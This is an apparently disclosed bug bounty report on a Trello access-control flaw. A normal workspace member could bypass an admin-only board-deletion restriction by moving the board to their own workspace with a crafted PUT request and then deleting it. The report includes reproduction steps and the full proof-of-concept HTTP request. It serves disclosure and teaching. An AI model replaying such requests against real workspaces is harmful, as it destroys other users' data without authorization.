# Privilege Escalation Vulnerability: A Normal Workspace Member can bypass the restriction of Board Deletetion Permision set by Workspace Admins, to delete any board in the workspace

A normal Trello workspace member bypassed admin-only board-deletion restrictions by moving a board to their own workspace via a crafted PUT request, deleting it from the original workspace.

- Payout: $1,200
- Severity: medium
- Program: Trello
- Found by: TechyCodec08
- Disclosed: 2025-03-13
- Write-up quality: 6/10
- Original: https://bugcrowd.com/disclosures/36bcd5a4-4dfb-46f4-9675-f07910eefd2d/privilege-escalation-vulnerability-a-normal-workspace-member-can-bypass-the-restriction-of-board-deletetion-permision-set-by-workspace-admins-to-delete-any-board-in-the-workspace
- Library page: https://bugbountylibrary.com/r/bc%3A598061cf-5339-4684-9fb0-412db75521d1
- Tags: area:web domain:web impact:integrity kind:bounty platform:bugcrowd sev:medium technique:chained vuln:access-control vuln:business-logic vuln:privilege-escalation

**Target:** Trello board move/delete API endpoint (PUT /1/boards/{id})
**Root cause:** The board-move operation (setting idOrganization) did not enforce the workspace's board-deletion permission, so moving a board out of the workspace effectively deleted it from the protected workspace despite the admin-only deletion restriction.
**Steps:**
1. As workspace admin, set board deletion permission to 'Workspace Admins only'.
2. As a normal workspace member, attempt to delete a board -> Unauthorized.
3. Attempt to close/reopen board into own workspace -> error.
4. Send `PUT /1/boards/{boardId}` with body `{"idOrganization":"<own-workspace-id>","dsc":"<csrf-token>"}` using member cookies.
5. Board is removed from original workspace and moved to attacker's workspace; attacker then deletes it permanently.
**How found:** Researcher noticed that the move-to-another-workspace action also removes the board from the original workspace, and tested whether that path enforced the same deletion permission as the delete action — it did not.
**Exploitation:** Member with a valid session and CSRF token issues a PUT to the board endpoint setting idOrganization to a workspace they own, which relocates the board out of the protected workspace (equivalent to deletion), then deletes it from their own workspace.
**Insight:** When a permission gates a destructive action (delete), check adjacent operations that achieve the same end state (move/transfer/archive) — they often lack the same authorization check.

## Proof of concept (copied exactly from the original report)

**PUT request moving board to attacker's workspace**

```
PUT /1/boards/67602d9ba379b5827eb9c49c HTTP/2
Host: trello.com
Cookie: <WORKSPACE-MEMBER-COOKIES>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://trello.com/b/zEsX5ZcQ/workspacememberboard001
Content-Type: application/json
X-Trello-Client-Version: build-214455
X-Trello-Traceid: 67602ccd2ddacfaff4d921cdcf8daff0
X-Trello-Task: delete-board
X-B3-Spanid: 974d9259cdb61e76
X-B3-Traceid: 67602ccd2ddacfaff4d921cdcf8daff0
Content-Length: 122
Origin: https://trello.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{
"idOrganization":"67601adaca94c108be43106b",
"dsc":"<WORKSPACE-MEMBER-CSRF-TOKEN>"
}
```

